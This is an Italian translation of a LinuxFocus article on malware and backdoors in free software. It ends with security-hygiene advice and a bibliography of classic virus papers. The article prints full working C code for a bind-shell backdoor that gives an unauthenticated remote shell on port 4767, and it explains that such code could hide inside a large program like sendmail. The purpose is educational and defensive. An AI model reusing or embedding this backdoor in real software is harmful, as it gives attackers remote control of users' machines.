Il problema backdoor è importante anche nella logica del freesoftware. Naturalmente, quando il codice sorgente di un programma è disponibile, si può controllare (in teoria) cosa esso faccia in concreto. Di fatto son molto rari gli utenti che controllino il contenuto di un archivio scaricato da internet. Ad esempio, il piccolo programma che vedete qui sotto contiene una backdoor completa, e la sua piccola taglia le permette di potersi nascondere bene all'interno di un programma più vasto. Questo programma è un esempio contenuto nel mio libro [BLAESS 00] ed illustra il meccanismo di uno pseudo−terminale. Questo programma non è, in realtà, molto chiaro poichè è stato decommentato per ridurne la consistenza. Molti check per gli errori son stati ugualmente rimossi per lo stesso motivo. Una volta mandato in esecuzione, esso apre un server TCP/IP sulla porta richiamata all'inizio del programma (di default la 4767) su ogni interfaccia di rete della macchina. Ogni richiesta di accesso a tale porta darà automaticamente accesso ad una shell senza richiedere alcuna autenticazione!!!

```
    #define _GNU_SOURCE 500
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <termios.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    #define ADRESSE_BACKDOOR  INADDR_ANY
    #define PORT_BACKDOOR     4767

    int
main (void)
{
    int                 sock;
    int                 sockopt;
    struct sockaddr_in adresse; /* address */
    socklen_t           longueur; /* length */
    int                 sock2;
    int         pty_maitre; /* pty_master */
    int         pty_esclave; /* pty_slave */
    char *          nom_pty; /* name_pty */
    struct termios      termios;
    char * args [2] = { "/bin/sh", NULL };
    fd_set          set;
    char            buffer [4096];
    int             n;

    sock = socket (AF_INET, SOCK_STREAM, 0);
    sockopt = 1;
    setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
```

```
    memset (& adresse, 0, sizeof (struct sockaddr));
    adresse . sin_family = AF_INET;
    adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
    adresse . sin_port = htons (PORT_BACKDOOR);
    if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
        exit (1);
    listen (sock, 5);
    while (1) {
        longueur = sizeof (struct sockaddr_in);
        if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
            continue;
        if (fork () == 0) break;
        close (sock2);
    }
    close (sock);
    if ((pty_maitre = getpt()) < 0) exit (1);
    grantpt  (pty_maitre);
    unlockpt (pty_maitre);
    nom_pty = ptsname (pty_maitre);
    tcgetattr (STDIN_FILENO, & termios);
    if (fork () == 0) {
        /* Son: shell execution in the slave
            pseudo-TTY */
        close (pty_maitre);
        setsid();
        pty_esclave = open (nom_pty, O_RDWR);
        tcsetattr (pty_esclave, TCSANOW, & termios);
        dup2 (pty_esclave, STDIN_FILENO);
        dup2 (pty_esclave, STDOUT_FILENO);
        dup2 (pty_esclave, STDERR_FILENO);
        execv (args [0], args);
        exit (1);
    }
    /* Creatore: copia del socket nel the master pseudo-TTY
        e viceversa */
        tcgetattr (pty_maitre, & termios);
    cfmakeraw (& termios);
    tcsetattr (pty_maitre, TCSANOW, & termios);
    while (1) {
        FD_ZERO (& set);
        FD_SET (sock2, & set);
        FD_SET (pty_maitre, & set);
        if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
             & set, NULL, NULL, NULL) < 0)
            break;
        if (FD_ISSET (sock2, &set)) {
            if ((n = read (sock2, buffer, 4096)) < 0)
                break;
            write (pty_maitre, buffer, n);
        }
        if (FD_ISSET (pty_maitre, &set)) {
            if ((n = read (pty_maitre, buffer, 4096)) < 0)
                break;
            write (sock2, buffer, n);
        }
    }
    return (0);
}
```

L'inserzione di tale codice all'interno di un'applicazione voluminosa (ad esempio `sendmail`) starà nascosta abbastanza a lungo da permettere infiltrazioni "indesiderate". Per di più, qualcuno è diventato maestro nell'arte di nascondere parti del codice di un programma, come si può notare nei programmi inviati ogni anno alla gara di IOCC (*International Obfuscated C Code Contest – Gara Internazionale di Codice C "Offuscato"*).

Le backdoor non vanno considerate solo dal lato teorico. Qualche difficoltà ha, effettivamente, provocato il pacchetto *Piranha* per la distribuzione Red Hat che accettava una password di default. Il gioco*Quake 2* è stato sospettato di nascondere al suo interno una backdoor che consentiva l'esecuzione dei comandi da remoto.

I meccanismi della backdoor possono, inoltre, essere nascosti in modo talmente complesso che nessun comune "mortale" potrebbe individuarli facilmente. Un tipico esempio è quello dei sistemi di codificazione dei dati (o criptici). Ad esempio, il sistema SE−Linux, in via di sviluppo, è una versione di Linux in cui il lato della sicurezza è stato notevolmente rafforzato grazie a delle patches fornite dalla NSA (National Security Agency). Gli esperti sviluppatori di Linux hanno controllato le suddette patches e non ci hanno trovato niente di sospetto, ma nessuno metterebbe la mano sul fuoco sulla trasparenza delle patches della NSA e molto pochi son quelli che avrebbero le conoscenze matematico−scientifiche per scoprire eventuali trabocchetti nelle stesse patches.

Conclusioni

Fatte queste prime osservazioni sul mondo GNU/Linux concludiamo nel senso che il free software non è immune da virus, worms, Trojan, o altro! Senza essere troppo allarmisti occorre volgere uno sguardo agli annunci sulla sicurezza dei software attuali, in particolare se ci si connette spesso a Internet. Oggi è importante attenersi a "sane " abitudini: aggiornare il software appena sia scoperta una vulnerabilità; usare solo i servizi di rete effettivamente necessari; scaricare applicazioni da siti affidabili; controllare quanto più spesso possibile le firme PGP o MD5 dei pacchetti da scaricare. Gli utenti più "seri" automatizzeranno, ad esempio tramite degli script, il controllo cadenzato e automatico delle applicazioni installate.

Una seconda notazione: i due pericoli principali per i sistemi Linux nel futuro saranno da una parte le applicazioni da ufficio che interpreteranno alla cieca le macro contenute in documenti (inclusa la posta elettronica), dall'altro i virus multipiattaforma, i quali, anche se eseguiti sotto Windows, possono infettare i file eseguibili trovati nella partizione dedicata a Linux nella stessa macchina. Se la soluzione al primo problema dipende dal comportamento dell'utente, che non dovrebbe mai consentire alle sue applicazioni di produttività di accettare qualsiasi tipo di file, quella al secondo è assai più complicata, anche per un amministratore coscienzioso. In un futuro prossimo, dovranno essere implementati potenti scova−virus per i sistemi Linux connessi ad Internet; speriamo che qualcuno di tali progetti appaia il più presto possibile nel mondo del software Free.

Bibliografia

Il numero di documenti su Trojan, virus e altri software minacciosi è un segnale importante; ci son molti testi che parlano dei virus attuali, su come funzionino e su cosa combinino. Certamente la maggior parte di tali documenti riguarda il sistema operativo Dos/Windows ma non mancano quelli che riguardano Linux. Gli articoli menzionati costituiscono ormai dei "classici" e analizzano dal punto di vista teorico i meccanismi già implementati.

- [BLAESS 00] Christophe Blaess – "*C system programming under Linux*", Eyrolles, 2000.
- [DEWDNEY 84] A.K. Dewdney – "*Computer recreations*" in *Scientific American*. Versione scannerizzata disponibile a http://www.koth.org/info/sciam/
- [EICHIN 89] Mark W. Eichin & Jon A. Rochlis – "*With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988*", MIT Cambridge, 1989. Disponibile a www.mit.edu/people/eichin/virus/main.html

- [GIBSON 01] Steve Gibson – "*The Strange Tale of the Denial of Service Attack Against GRC.COM*", 2001. Available at http://grc.com/dos/grcdos.htm
- [KEHOE 92] Brendan P. Kehoe – "*Zen and the Art of the Internet*", 1992. Available at ftp://ftp.lip6.fr/pub/doc/internet/
- [LUDWIG 91] Mark A. Ludwig – "*The Little Black Book of Computer Virus*", American Eagle Publications Inc., 1991.
- [LUDWIG 93] Mark A. Ludwig – "*Computer Viruses, Artificial Life and Evolution*", American Eagle Publications Inc., 1993.
- [MARSDEN 00] Anton Marsden – "*The rec.games.corewar FAQ*" disponibile a http://homepages.paradise.net.nz/~anton/cw/corewar−faq.html
- [MORRIS 85] Robert T. Morris – "*A Weakness in the 4.2BSD Unix TCP/IP Software*", AT&T Bell Laboratories, 1985. Disponibile a http://www.pdos.lcs.mit.edu/~rtm/
- [SPAFFORD 88] Eugene H. Spafford – "*The Internet Worm Program: an Analysis*", Purdue University Technical Report CSD−TR−823, 1988. Disponibile a http://www.cerias.purdue.edu/homes/spaf/
- [SPAFFORD 91] Eugene H. Spafford – "*The Internet Worm Incident*", Purdue University Technical Report CSD−TR−933, 1991. Disponibile a http://www.cerias.purdue.edu/homes/spaf/
  See also **rfc1135**: The Helminthiasis of the Internet
- [SPAFFORD 94] Eugene H. Spafford – "*Computer Viruses as Artificial Life*", Journal of Artificial Life, MIT Press, 1994. Disponibile a http://www.cerias.purdue.edu/homes/spaf/
- [STOLL 89] Clifford Stoll – "*The Cuckoo's egg*", Doubleday, 1989.
- [THOMPSON 84] Ken Thompson – "*Reflections on Trusting Trust*", Communication of the ACM vol.27 n°8, August 1984. Ristampato nel 1995 e disponibile a http://www.acm.org/classics/sep95/

Webpages maintained by the LinuxFocus Editor team © Christophe Blaess "some rights reserved" see linuxfocus.org/license/ http://www.LinuxFocus.org	Translation information: fr −−> −− : Christophe Blaess (homepage) fr −−> en: Georges Tarbouriech <georges.t(at)linuxfocus.org> en −−> it: Kikko <kikko(at)linuxfocus.org>

2005−01−10, generated by lfparser_pdf version 2.51